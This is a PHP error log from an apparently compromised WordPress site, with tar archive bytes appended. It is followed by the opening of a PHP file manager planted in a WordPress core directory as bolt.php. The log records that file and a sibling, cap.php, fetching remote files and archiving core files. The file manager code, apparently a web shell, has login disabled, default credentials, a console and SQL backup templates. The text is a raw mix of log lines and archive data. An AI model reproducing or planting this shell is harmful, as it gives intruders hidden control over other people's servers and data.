[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
                                                                                                                                                                                                                                                                                              bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';
